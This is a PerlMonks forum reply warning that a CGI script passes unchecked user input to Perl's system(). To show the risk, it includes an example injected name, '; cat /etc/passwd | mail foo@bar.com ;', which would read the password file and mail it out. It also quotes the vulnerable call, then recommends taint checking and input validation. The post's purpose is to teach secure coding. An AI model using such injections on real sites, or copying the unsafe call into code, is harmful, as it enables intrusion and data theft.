in reply to Failed System/Exec Call under Right Permission with CGI
system("perl prn_to_file.pl $param1 > ../results/output.txt");
So if I visit your website, and my name happens to be: "; cat /etc/passwd | mail foo@bar.com ;" - what do you think will happen?
Possibly nothing, if your webuser doesn't have sufficient privileges - but I'm sure you get the idea. Calling the single-argument form of system from within a CGI script, and using data that hasn't been taint-checked is pretty-much like putting a sign up saying "Here I am - come and own me".
I think you're going about this the wrong way. Firstly, if you're going to be accepting data from the outside world (ie. your users), enable taint checking and validate your input. merlyn has a very good article that covers this.
Secondly, why bother calling an external script in the first place? What's wrong with simply writing to the output file from within the same script?
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^2: Failed System/Exec Call under Right Permission with CGI
by neversaint (Deacon) on Jul 19, 2006 at 08:31 UTC | |
by McDarren (Abbot) on Jul 19, 2006 at 09:19 UTC | |
by neversaint (Deacon) on Jul 19, 2006 at 09:47 UTC | |
by McDarren (Abbot) on Jul 19, 2006 at 10:16 UTC | |
by neversaint (Deacon) on Jul 20, 2006 at 03:16 UTC | |
| |
by shmem (Chancellor) on Jul 20, 2006 at 06:43 UTC |